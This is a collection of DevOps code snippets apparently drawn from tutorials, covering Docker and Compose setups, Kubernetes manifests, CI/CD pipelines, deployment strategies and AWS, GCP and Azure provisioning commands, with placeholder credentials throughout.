docker tag myapp gcr.io/project-id/myapp:latest
docker push gcr.io/project-id/myapp:latest

# Create builder
docker buildx create --name multiplatform --use

# Build for multiple platforms
docker buildx build \
    --platform linux/amd64,linux/arm64,linux/arm/v7 \
    -t myorg/myapp:latest \
    --push .

# Deploy new version (green)
docker run -d --name app-green -p 8081:8080 myapp:v2

# Test green deployment
curl http://localhost:8081/health

# Switch traffic (update load balancer or swap ports)
docker stop app-blue
docker rm app-blue
docker run -d --name app-blue -p 8080:8080 myapp:v2
docker stop app-green
docker rm app-green

# Initialize swarm
docker swarm init

# Create service
docker service create \
    --name myapp \
    --replicas 3 \
    --update-parallelism 1 \
    --update-delay 10s \
    myapp:v1

# Update service (rolling update)
docker service update --image myapp:v2 myapp

# Dockerfile.dev
FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
CMD ["npm", "run", "dev"]  # Uses nodemon

# docker-compose.dev.yml
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile.dev
    volumes:
      - ./src:/app/src  # Hot reload on changes
      - /app/node_modules  # Don't overwrite
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=development

# Dockerfile.dev
FROM python:3.9
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["flask", "run", "--host=0.0.0.0", "--reload"]

services:
  api:
    build:
      context: .
      dockerfile: Dockerfile.dev
    volumes:
      - ./app:/app  # Hot reload
    environment:
      - FLASK_ENV=development
      - FLASK_DEBUG=1

services:
  web:
    build: .
    ports:
      - "9229:9229"  # Debug port
    command: node --inspect=0.0.0.0:9229 server.js
    volumes:
      - ./src:/app/src

services:
  api:
    build: .
    stdin_open: true  # Enable interactive mode
    tty: true
    command: python -m pdb app.py

// .vscode/launch.json
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Docker: Attach to Node",
      "type": "node",
      "request": "attach",
      "port": 9229,
      "address": "localhost",
      "localRoot": "${workspaceFolder}",
      "remoteRoot": "/app",
      "protocol": "inspector"
    }
  ]
}

# docker-compose.yml
version: '3.8'

services:
  # Frontend
  frontend:
    build: ./frontend
    volumes:
      - ./frontend/src:/app/src
      - /app/node_modules
    ports:
      - "3000:3000"
    environment:
      - REACT_APP_API_URL=http://localhost:4000

  # Backend API
  backend:
    build: ./backend
    volumes:
      - ./backend/src:/app/src
      - /app/node_modules
    ports:
      - "4000:4000"
      - "9229:9229"  # Debug port
    environment:
      - NODE_ENV=development
      - DATABASE_URL=postgres://user:pass@db:5432/mydb
      - REDIS_URL=redis://redis:6379
    depends_on:
      db:
        condition: service_healthy
      redis:
        condition: service_started

  # PostgreSQL
  db:
    image: postgres:15-alpine
    volumes:
      - postgres-data:/var/lib/postgresql/data
      - ./db/init.sql:/docker-entrypoint-initdb.d/init.sql
    environment:
      - POSTGRES_USER=user
      - POSTGRES_PASSWORD=pass
      - POSTGRES_DB=mydb
    ports:
      - "5432:5432"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U user"]
      interval: 5s
      timeout: 5s
      retries: 5

  # Redis
  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"
    volumes:
      - redis-data:/data

  # Nginx (reverse proxy)
  nginx:
    image: nginx:alpine
    volumes:
      - ./nginx/dev.conf:/etc/nginx/nginx.conf:ro
    ports:
      - "80:80"
    depends_on:
      - frontend
      - backend

volumes:
  postgres-data:
  redis-data:

# Run tests
docker-compose run --rm backend npm test

# Run specific test
docker-compose run --rm backend npm test -- user.test.js

# Run with coverage
docker-compose run --rm backend npm run test:coverage

# docker-compose.test.yml
services:
  test:
    build: .
    command: npm test
    environment:
      - NODE_ENV=test
      - DATABASE_URL=postgres://test:test@test-db:5432/testdb
    depends_on:
      - test-db

  test-db:
    image: postgres:15-alpine
    environment:
      - POSTGRES_USER=test
      - POSTGRES_PASSWORD=test
      - POSTGRES_DB=testdb
    tmpfs:
      - /var/lib/postgresql/data  # In-memory for speed

# Run integration tests
docker-compose -f docker-compose.test.yml up --abort-on-container-exit

myapp/
├── frontend/
│   ├── Dockerfile
│   ├── Dockerfile.dev
│   └── src/
├── backend/
│   ├── Dockerfile
│   ├── Dockerfile.dev
│   └── src/
├── nginx/
│   ├── nginx.conf
│   └── ssl/
├── docker-compose.yml
├── docker-compose.prod.yml
└── docker-compose.dev.yml

# Build stage
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
RUN npm run build

# Production stage
FROM nginx:alpine
COPY --from=builder /app/build /usr/share/nginx/html
COPY nginx/default.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

# Dependencies stage
FROM node:18-alpine AS deps
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

# Build stage
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# Production stage
FROM node:18-alpine
RUN addgroup -g 1001 -S nodejs && \
    adduser -S nodejs -u 1001
WORKDIR /app
COPY --from=deps --chown=nodejs:nodejs /app/node_modules ./node_modules
COPY --from=builder --chown=nodejs:nodejs /app/dist ./dist
COPY --chown=nodejs:nodejs package*.json ./
USER nodejs
EXPOSE 4000
CMD ["node", "dist/index.js"]

# docker-compose.prod.yml
version: '3.8'

services:
  frontend:
    image: myorg/frontend:${VERSION:-latest}
    restart: unless-stopped
    networks:
      - frontend-net

  backend:
    image: myorg/backend:${VERSION:-latest}
    restart: unless-stopped
    environment:
      - NODE_ENV=production
      - DATABASE_URL_FILE=/run/secrets/db_url
      - JWT_SECRET_FILE=/run/secrets/jwt_secret
    secrets:
      - db_url
      - jwt_secret
    depends_on:
      - db
      - redis
    networks:
      - frontend-net
      - backend-net
    deploy:
      replicas: 3
      resources:
        limits:
          cpus: '0.5'
          memory: 512M

  db:
    image: postgres:15-alpine
    restart: unless-stopped
    environment:
      - POSTGRES_PASSWORD_FILE=/run/secrets/db_password
    secrets:
      - db_password
    volumes:
      - postgres-data:/var/lib/postgresql/data
    networks:
      - backend-net
    deploy:
      resources:
        limits:
          cpus: '1'
          memory: 1G

  redis:
    image: redis:7-alpine
    restart: unless-stopped
    volumes:
      - redis-data:/data
    networks:
      - backend-net

  nginx:
    image: nginx:alpine
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx/prod.conf:/etc/nginx/nginx.conf:ro
      - ./nginx/ssl:/etc/nginx/ssl:ro
      - nginx-cache:/var/cache/nginx
    depends_on:
      - frontend
      - backend
    networks:
      - frontend-net

networks:
  frontend-net:
  backend-net:
    internal: true

volumes:
  postgres-data:
  redis-data:
  nginx-cache:

secrets:
  db_url:
    file: ./secrets/db_url.txt
  db_password:
    file: ./secrets/db_password.txt
  jwt_secret:
    file: ./secrets/jwt_secret.txt

# Build images
docker-compose -f docker-compose.prod.yml build

# Tag for registry
docker tag myapp_frontend:latest myorg/frontend:1.0.0
docker tag myapp_backend:latest myorg/backend:1.0.0

# Push to registry
docker push myorg/frontend:1.0.0
docker push myorg/backend:1.0.0

# Deploy to production
VERSION=1.0.0 docker-compose -f docker-compose.prod.yml up -d

# Scale services
docker-compose -f docker-compose.prod.yml up -d --scale backend=5

# View logs
docker-compose -f docker-compose.prod.yml logs -f backend

# Rollback
VERSION=0.9.0 docker-compose -f docker-compose.prod.yml up -d

apiVersion: v1
kind: Pod
metadata:
  name: my-pod
spec:
  containers:
  - name: app
    image: myapp:1.0
    ports:
    - containerPort: 8000

apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: myapp:1.0
        ports:
        - containerPort: 8000

apiVersion: v1
kind: Service
metadata:
  name: myapp-service
spec:
  selector:
    app: myapp
  ports:
  - protocol: TCP
    port: 80
    targetPort: 8000
  type: LoadBalancer

# Create/update
kubectl apply -f deployment.yaml

# View resources
kubectl get pods
kubectl get deployments
kubectl get services

# Describe
kubectl describe pod my-pod

# Logs
kubectl logs my-pod

# Execute
kubectl exec -it my-pod -- bash

# Delete
kubectl delete pod my-pod
kubectl delete deployment myapp

# Scale
kubectl scale deployment myapp --replicas=5

# Port forwarding
kubectl port-forward myapp-pod 8000:8000

┌─────────────────────────┐
│   Control Plane         │
│  - API Server           │
│  - etcd (store)         │
│  - Scheduler            │
│  - Controller Manager   │
└─────────────────────────┘
          ↓
┌─────────────────────────────────────┐
│  Worker Nodes                       │
│  ┌──────┐  ┌──────┐  ┌──────┐     │
│  │ Pod  │  │ Pod  │  │ Pod  │     │
│  └──────┘  └──────┘  └──────┘     │
└─────────────────────────────────────┘

# ConfigMap (non-sensitive)
apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  LOG_LEVEL: "info"
  DATABASE_HOST: "db.example.com"

---
# Secret (sensitive)
apiVersion: v1
kind: Secret
metadata:
  name: db-secret
type: Opaque
data:
  password: cGFzc3dvcmQxMjM=  # Base64 encoded

kubectl create namespace development
kubectl apply -f deployment.yaml -n development
kubectl get pods -n development

# Manual scaling
kubectl scale deployment myapp --replicas=10

# Rolling update
kubectl set image deployment/myapp myapp=myapp:2.0
kubectl rollout status deployment/myapp
kubectl rollout undo deployment/myapp  # Revert

spec:
  containers:
  - name: myapp
    resources:
      requests:
        memory: "64Mi"
        cpu: "250m"
      limits:
        memory: "128Mi"
        cpu: "500m"

Code Commit
    ↓
Build (compile, package)
    ↓
Test (unit, integration, e2e)
    ↓
Deploy to Staging
    ↓
Manual/Automated Approval
    ↓
Deploy to Production

name: CI/CD

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2

    - name: Set up Node.js
      uses: actions/setup-node@v2
      with:
        node-version: '16'

    - name: Install dependencies
      run: npm install

    - name: Run tests
      run: npm test

    - name: Run linter
      run: npm run lint

    - name: Deploy to production
      if: github.ref == 'refs/heads/main'
      run: npm run deploy

stages:
  - build
  - test
  - deploy

build:
  stage: build
  script:
    - npm install
    - npm run build
  artifacts:
    paths:
      - dist/

test:
  stage: test
  script:
    - npm install
    - npm test

deploy:
  stage: deploy
  script:
    - npm run deploy
  only:
    - main

# .github/workflows/deploy.yml
name: Deploy
on: [push]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: docker build -t myapp .
      - run: docker push myapp:latest
      - run: kubectl apply -f deployment.yaml

Blue (current):  Production v1
Green (new):     Production v2

Switch traffic instantly to v2
If issue: Switch back to v1

Release to 5% of users first
Monitor metrics
If healthy: 10% → 25% → 50% → 100%
If issues: Rollback at any stage

Stop pod, deploy new version
Repeat for each pod
Zero downtime

# Check metrics after deploy
- name: Health check
  run: |
    curl -f https://api.example.com/health || exit 1

- name: Performance check
  run: |
    response_time=$(curl -w '%{time_total}' https://api.example.com)
    if (( $(echo "$response_time > 2.0" | bc -l) )); then
      echo "Slow response: $response_time seconds"
      exit 1
    fi

# Create instance
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t3.micro \
  --key-name my-key-pair \
  --security-group-ids sg-0123456789abcdef0 \
  --subnet-id subnet-0123456789abcdef0 \
  --user-data file://userdata.sh \
  --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=WebServer}]'

# Using Auto Scaling
aws autoscaling create-auto-scaling-group \
  --auto-scaling-group-name web-asg \
  --launch-template LaunchTemplateName=web-template \
  --min-size 2 \
  --max-size 10 \
  --desired-capacity 3 \
  --vpc-zone-identifier "subnet-1,subnet-2,subnet-3" \
  --target-group-arns arn:aws:elasticloadbalancing:region:account:targetgroup/name \
  --health-check-type ELB \
  --health-check-grace-period 300

#!/bin/bash
yum update -y
yum install -y docker
systemctl start docker
systemctl enable docker

# Pull and run application
docker pull myapp:latest
docker run -d -p 80:3000 myapp:latest

# Configure CloudWatch agent
wget https://s3.amazonaws.com/amazoncloudwatch-agent/amazon_linux/amd64/latest/amazon-cloudwatch-agent.rpm
rpm -U ./amazon-cloudwatch-agent.rpm

{
  "family": "web-app",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512",
  "containerDefinitions": [
    {
      "name": "app",
      "image": "123456789012.dkr.ecr.us-east-1.amazonaws.com/myapp:latest",
      "portMappings": [
        {
          "containerPort": 3000,
          "protocol": "tcp"
        }
      ],
      "environment": [
        {
          "name": "NODE_ENV",
          "value": "production"
        }
      ],
      "secrets": [
        {
          "name": "DB_PASSWORD",
          "valueFrom": "arn:aws:secretsmanager:region:account:secret:db-password"
        }
      ],
      "logConfiguration": {
        "logDriver": "awslogs",
        "options": {
          "awslogs-group": "/ecs/web-app",
          "awslogs-region": "us-east-1",
          "awslogs-stream-prefix": "app"
        }
      },
      "healthCheck": {
        "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
        "interval": 30,
        "timeout": 5,
        "retries": 3
      }
    }
  ]
}

{
  "serviceName": "web-service",
  "taskDefinition": "web-app:1",
  "desiredCount": 3,
  "launchType": "FARGATE",
  "networkConfiguration": {
    "awsvpcConfiguration": {
      "subnets": ["subnet-1", "subnet-2"],
      "securityGroups": ["sg-12345"],
      "assignPublicIp": "ENABLED"
    }
  },
  "loadBalancers": [
    {
      "targetGroupArn": "arn:aws:elasticloadbalancing:region:account:targetgroup/name",
      "containerName": "app",
      "containerPort": 3000
    }
  ],
  "deploymentConfiguration": {
    "maximumPercent": 200,
    "minimumHealthyPercent": 100,
    "deploymentCircuitBreaker": {
      "enable": true,
      "rollback": true
    }
  },
  "serviceRegistries": [
    {
      "registryArn": "arn:aws:servicediscovery:region:account:service/srv-12345"
    }
  ]
}

// index.js
exports.handler = async (event) => {
  const { httpMethod, path, body } = event;

  if (httpMethod === 'GET' && path === '/health') {
    return {
      statusCode: 200,
      body: JSON.stringify({ status: 'healthy' })
    };
  }

  try {
    const data = JSON.parse(body);
    // Process data
    return {
      statusCode: 200,
      headers: {
        'Content-Type': 'application/json',
        'Access-Control-Allow-Origin': '*'
      },
      body: JSON.stringify({ message: 'Success' })
    };
  } catch (error) {
    console.error('Error:', error);
    return {
      statusCode: 500,
      body: JSON.stringify({ error: 'Internal Server Error' })
    };
  }
};

# template.yaml
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31

Globals:
  Function:
    Timeout: 30
    Runtime: nodejs18.x
    Environment:
      Variables:
        TABLE_NAME: !Ref DynamoDBTable

Resources:
  ApiFunction:
    Type: AWS::Serverless::Function
    Properties:
      CodeUri: src/
      Handler: index.handler
      Events:
        ApiEvent:
          Type: Api
          Properties:
            Path: /{proxy+}
            Method: ANY
      Policies:
        - DynamoDBCrudPolicy:
            TableName: !Ref DynamoDBTable
      VpcConfig:
        SubnetIds:
          - !Ref PrivateSubnet1
          - !Ref PrivateSubnet2
        SecurityGroupIds:
          - !Ref LambdaSecurityGroup

  DynamoDBTable:
    Type: AWS::DynamoDB::Table
    Properties:
      BillingMode: PAY_PER_REQUEST
      AttributeDefinitions:
        - AttributeName: id
          AttributeType: S
      KeySchema:
        - AttributeName: id
          KeyType: HASH

Outputs:
  ApiUrl:
    Description: API Gateway endpoint URL
    Value: !Sub 'https://${ServerlessRestApi}.execute-api.${AWS::Region}.amazonaws.com/Prod/'

# Package and deploy with SAM
sam build
sam deploy --guided

# Or with Serverless Framework
serverless deploy --stage production --region us-east-1

# Direct Lambda update
zip function.zip index.js
aws lambda update-function-code \
  --function-name my-function \
  --zip-file fileb://function.zip

Resources:
  DBSubnetGroup:
    Type: AWS::RDS::DBSubnetGroup
    Properties:
      DBSubnetGroupDescription: Subnet group for RDS
      SubnetIds:
        - !Ref PrivateSubnet1
        - !Ref PrivateSubnet2

  DBInstance:
    Type: AWS::RDS::DBInstance
    Properties:
      DBInstanceIdentifier: production-db
      Engine: postgres
      EngineVersion: '15.3'
      DBInstanceClass: db.t3.medium
      AllocatedStorage: 100
      StorageType: gp3
      StorageEncrypted: true
      MasterUsername: admin
      MasterUserPassword: !Sub '{{resolve:secretsmanager:${DBSecret}::password}}'
      DBSubnetGroupName: !Ref DBSubnetGroup
      VPCSecurityGroups:
        - !Ref DBSecurityGroup
      BackupRetentionPeriod: 7
      PreferredBackupWindow: '03:00-04:00'
      PreferredMaintenanceWindow: 'sun:04:00-sun:05:00'
      MultiAZ: true
      EnableCloudwatchLogsExports:
        - postgresql
      DeletionProtection: true

  DBSecret:
    Type: AWS::SecretsManager::Secret
    Properties:
      GenerateSecretString:
        SecretStringTemplate: '{"username": "admin"}'
        GenerateStringKey: 'password'
        PasswordLength: 32
        ExcludeCharacters: '"@/\'

# Create instance template
gcloud compute instance-templates create web-template \
  --machine-type=e2-medium \
  --image-family=ubuntu-2204-lts \
  --image-project=ubuntu-os-cloud \
  --boot-disk-size=20GB \
  --boot-disk-type=pd-balanced \
  --network-interface=network=default,subnet=default \
  --metadata-from-file=startup-script=startup.sh \
  --tags=http-server,https-server \
  --service-account=my-service-account@project.iam.gserviceaccount.com \
  --scopes=cloud-platform

# Create managed instance group
gcloud compute instance-groups managed create web-group \
  --base-instance-name=web \
  --template=web-template \
  --size=3 \
  --zone=us-central1-a \
  --health-check=http-health-check \
  --initial-delay=300

# Configure autoscaling
gcloud compute instance-groups managed set-autoscaling web-group \
  --zone=us-central1-a \
  --max-num-replicas=10 \
  --min-num-replicas=2 \
  --target-cpu-utilization=0.6 \
  --cool-down-period=60

# Create GKE cluster
gcloud container clusters create production-cluster \
  --zone=us-central1-a \
  --num-nodes=3 \
  --machine-type=e2-standard-4 \
  --enable-autoscaling \
  --min-nodes=3 \
  --max-nodes=10 \
  --enable-autorepair \
  --enable-autoupgrade \
  --enable-stackdriver-kubernetes \
  --addons=HorizontalPodAutoscaling,HttpLoadBalancing,GcePersistentDiskCsiDriver \
  --workload-pool=project-id.svc.id.goog \
  --enable-shielded-nodes \
  --release-channel=regular

# Get credentials
gcloud container clusters get-credentials production-cluster \
  --zone=us-central1-a

apiVersion: apps/v1
kind: Deployment
metadata:
  name: web-app
  labels:
    app: web
spec:
  replicas: 3
  selector:
    matchLabels:
      app: web
  template:
    metadata:
      labels:
        app: web
        version: v1
    spec:
      serviceAccountName: web-app-sa
      containers:
      - name: app
        image: gcr.io/project-id/web-app:v1.0.0
        ports:
        - containerPort: 8080
          name: http
        env:
        - name: NODE_ENV
          value: production
        - name: DB_HOST
          valueFrom:
            secretKeyRef:
              name: db-credentials
              key: host
        resources:
          requests:
            cpu: 100m
            memory: 128Mi
          limits:
            cpu: 500m
            memory: 512Mi
        livenessProbe:
          httpGet:
            path: /health
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
        readinessProbe:
          httpGet:
            path: /ready
            port: 8080
          initialDelaySeconds: 5
          periodSeconds: 5
---
apiVersion: v1
kind: Service
metadata:
  name: web-app-service
spec:
  type: LoadBalancer
  selector:
    app: web
  ports:
  - port: 80
    targetPort: 8080
---
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: web-app-hpa
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: web-app
  minReplicas: 3
  maxReplicas: 10
  metrics:
  - type: Resource
    resource:
      name: cpu
      target:
        type: Utilization
        averageUtilization: 70

apiVersion: serving.knative.dev/v1
kind: Service
metadata:
  name: web-app
  annotations:
    run.googleapis.com/ingress: all
spec:
  template:
    metadata:
      annotations:
        autoscaling.knative.dev/minScale: '1'
        autoscaling.knative.dev/maxScale: '100'
    spec:
      containerConcurrency: 80
      timeoutSeconds: 300
      serviceAccountName: cloud-run-sa@project-id.iam.gserviceaccount.com
      containers:
      - image: gcr.io/project-id/web-app:latest
        ports:
        - containerPort: 8080
        env:
        - name: NODE_ENV
          value: production
        resources:
          limits:
            cpu: '1'
            memory: 512Mi

# Deploy from local
gcloud run deploy web-app \
  --source . \
  --region us-central1 \
  --platform managed \
  --allow-unauthenticated \
  --min-instances 1 \
  --max-instances 100 \
  --cpu 1 \
  --memory 512Mi \
  --timeout 300 \
  --set-env-vars NODE_ENV=production

# Deploy from container registry
gcloud run deploy web-app \
  --image gcr.io/project-id/web-app:v1.0.0 \
  --region us-central1 \
  --platform managed

{
  "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
  "contentVersion": "1.0.0.0",
  "resources": [
    {
      "type": "Microsoft.Compute/virtualMachines",
      "apiVersion": "2023-03-01",
      "name": "web-vm",
      "location": "[resourceGroup().location]",
      "properties": {
        "hardwareProfile": {
          "vmSize": "Standard_B2s"
        },
        "osProfile": {
          "computerName": "webvm",
          "adminUsername": "azureuser",
          "linuxConfiguration": {
            "disablePasswordAuthentication": true,
            "ssh": {
              "publicKeys": [
                {
                  "path": "/home/azureuser/.ssh/authorized_keys",
                  "keyData": "[parameters('sshPublicKey')]"
                }
              ]
            }
          }
        },
        "storageProfile": {
          "imageReference": {
            "publisher": "Canonical",
            "offer": "0001-com-ubuntu-server-focal",
            "sku": "20_04-lts-gen2",
            "version": "latest"
          },
          "osDisk": {
            "createOption": "FromImage",
            "managedDisk": {
              "storageAccountType": "Premium_LRS"
            }
          }
        },
        "networkProfile": {
          "networkInterfaces": [
            {
              "id": "[resourceId('Microsoft.Network/networkInterfaces', 'web-nic')]"
            }
          ]
        }
      }
    }
  ]
}

# Create VM scale set
az vmss create \
  --resource-group myResourceGroup \
  --name web-vmss \
  --image UbuntuLTS \
  --vm-sku Standard_B2s \
  --instance-count 3 \
  --vnet-name myVnet \
  --subnet mySubnet \
  --lb myLoadBalancer \
  --backend-pool-name myBackendPool \
  --upgrade-policy-mode automatic \
  --admin-username azureuser \
  --ssh-key-value ~/.ssh/id_rsa.pub

# Configure autoscale
az monitor autoscale create \
  --resource-group myResourceGroup \
  --resource web-vmss \
  --resource-type Microsoft.Compute/virtualMachineScaleSets \
  --name autoscale-config \
  --min-count 2 \
  --max-count 10 \
  --count 3

az monitor autoscale rule create \
  --resource-group myResourceGroup \
  --autoscale-name autoscale-config \
  --condition "Percentage CPU > 70 avg 5m" \
  --scale out 1

# Create AKS cluster
az aks create \
  --resource-group myResourceGroup \
  --name production-aks \
  --node-count 3 \
  --node-vm-size Standard_D2s_v3 \
  --enable-cluster-autoscaler \
  --min-count 3 \
  --max-count 10 \
  --enable-addons monitoring \
  --network-plugin azure \
  --enable-managed-identity \
  --attach-acr myacr \
  --kubernetes-version 1.27.3

# Get credentials
az aks get-credentials \
  --resource-group myResourceGroup \
  --name production-aks

# Deploy container
az container create \
  --resource-group myResourceGroup \
  --name web-container \
  --image myacr.azurecr.io/web-app:latest \
  --cpu 1 \
  --memory 1.5 \
  --registry-login-server myacr.azurecr.io \
  --registry-username myacr \
  --registry-password $(az acr credential show --name myacr --query passwords[0].value -o tsv) \
  --dns-name-label web-app-unique \
  --ports 80 443 \
  --environment-variables NODE_ENV=production \
  --secure-environment-variables DB_PASSWORD=secret123

# Deploy green environment
kubectl apply -f deployment-green.yaml

# Wait for green to be ready
kubectl wait --for=condition=available --timeout=300s deployment/app-green

# Switch traffic
kubectl patch service app-service \
  -p '{"spec":{"selector":{"version":"green"}}}'

# Verify and clean up blue
kubectl delete deployment app-blue

{
  "Changes": [
    {
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "app.example.com",
        "Type": "A",
        "SetIdentifier": "blue",
        "Weight": 0,
        "AliasTarget": {
          "HostedZoneId": "Z123456",
          "DNSName": "blue-lb.us-east-1.elb.amazonaws.com"
        }
      }
    },
    {
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "app.example.com",
        "Type": "A",
        "SetIdentifier": "green",
        "Weight": 100,
        "AliasTarget": {
          "HostedZoneId": "Z123456",
          "DNSName": "green-lb.us-east-1.elb.amazonaws.com"
        }
      }
    }
  ]
}

apiVersion: flagger.app/v1beta1
kind: Canary
metadata:
  name: web-app
spec:
  targetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: web-app
  service:
    port: 8080
  analysis:
    interval: 1m
    threshold: 10
    maxWeight: 50
    stepWeight: 10
    metrics:
    - name: request-success-rate
      thresholdRange:
        min: 99
      interval: 1m
    - name: request-duration
      thresholdRange:
        max: 500
      interval: 1m
    webhooks:
    - name: load-test
      url: http://loadtester/
      timeout: 5s

apiVersion: appmesh.k8s.aws/v1beta2
kind: VirtualRouter
metadata:
  name: web-router
spec:
  listeners:
  - portMapping:
      port: 8080
      protocol: http
  routes:
  - name: web-route
    httpRoute:
      match:
        prefix: /
      action:
        weightedTargets:
        - virtualNodeRef:
            name: web-stable
          weight: 90
        - virtualNodeRef:
            name: web-canary
          weight: 10

spec:
  replicas: 10
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxSurge: 2        # Max 2 pods above desired
      maxUnavailable: 1  # Max 1 pod below desired
  minReadySeconds: 30
  progressDeadlineSeconds: 600

{
  "deploymentConfiguration": {
    "maximumPercent": 200,
    "minimumHealthyPercent": 100,
    "deploymentCircuitBreaker": {
      "enable": true,
      "rollback": true
    }
  }
}

# Global load balancer routes to nearest region
# Each region handles production traffic
# Data replicated bidirectionally

# AWS Global Accelerator
aws globalaccelerator create-accelerator \
  --name my-app \
  --ip-address-type IPV4 \
  --enabled

# Add endpoint groups for multiple regions
aws globalaccelerator create-endpoint-group \
  --listener-arn $LISTENER_ARN \
  --endpoint-group-region us-east-1 \
  --endpoint-configurations EndpointId=$ALB_ARN,Weight=50

# Primary region handles all traffic
# Secondary region on standby
# Failover on primary region failure

# Route 53 health check and failover
{
  "Type": "A",
  "SetIdentifier": "primary",
  "Failover": "PRIMARY",
  "HealthCheckId": "health-check-id",
  "AliasTarget": {
    "DNSName": "primary-lb.us-east-1.elb.amazonaws.com"
  }
}

name: CI Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run tests
        run: npm test

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v3

  test:
    runs-on: ubuntu-latest
    needs: build
    steps:
      - name: Run tests
        run: npm test

  deploy:
    runs-on: ubuntu-latest
    needs: [build, test]
    if: github.ref == 'refs/heads/main'
    steps:
      - name: Deploy
        run: ./deploy.sh

steps:
  - name: Checkout repository
    uses: actions/checkout@v3

  - name: Setup Node.js
    uses: actions/setup-node@v3
    with:
      node-version: '18'

  - name: Install dependencies
    run: npm ci

  - name: Run build
    run: npm run build

# Using marketplace action
- uses: actions/checkout@v3
  with:
    fetch-depth: 0

# Using local action
- uses: ./.github/actions/custom-action
  with:
    parameter: value

# Using action from another repo
- uses: owner/repo@v1
  with:
    token: ${{ secrets.GITHUB_TOKEN }}

jobs:
  linux:
    runs-on: ubuntu-latest

  macos:
    runs-on: macos-latest

  windows:
    runs-on: windows-latest

  self-hosted:
    runs-on: [self-hosted, linux, x64]

on:
  push:
    branches:
      - main
      - develop
      - 'feature/**'
    tags:
      - 'v*'
    paths:
      - 'src/**'
      - '**.js'
    paths-ignore:
      - 'docs/**'
      - '**.md'

on:
  pull_request:
    types: [opened, synchronize, reopened]
    branches:
      - main
    paths:
      - 'src/**'

on:
  schedule:
    # Every day at 2 AM UTC
    - cron: '0 2 * * *'
    # Every Monday at 9 AM UTC
    - cron: '0 9 * * 1'

on:
  workflow_dispatch:
    inputs:
      environment:
        description: 'Environment to deploy'
        required: true
        type: choice
        options:
          - development
          - staging
          - production
      debug:
        description: 'Enable debug mode'
        required: false
        type: boolean
        default: false

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 2 * * *'
  workflow_dispatch:

name: CI

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main]

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm ci
      - run: npm run lint

  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [16, 18, 20]
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci
      - run: npm test
      - name: Upload coverage
        uses: codecov/codecov-action@v3
        with:
          files: ./coverage/lcov.info

  build:
    runs-on: ubuntu-latest
    needs: [lint, test]
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm ci
      - run: npm run build
      - name: Upload artifacts
        uses: actions/upload-artifact@v3
        with:
          name: build-output
          path: dist/

name: CD

on:
  push:
    branches: [main]
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options:
          - staging
          - production

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: ${{ github.event.inputs.environment || 'staging' }}
      url: https://${{ steps.deploy.outputs.url }}
    steps:
      - uses: actions/checkout@v3

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v2
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: us-east-1

      - name: Deploy to AWS
        id: deploy
        run: |
          aws s3 sync ./dist s3://my-bucket
          echo "url=my-app.com" >> $GITHUB_OUTPUT

      - name: Notify Slack
        if: always()
        uses: slackapi/slack-github-action@v1
        with:
          payload: |
            {
              "text": "Deployment ${{ job.status }}"
            }
        env:
          SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK }}

name: Matrix Build

on: [push]

jobs:
  build:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest, macos-latest, windows-latest]
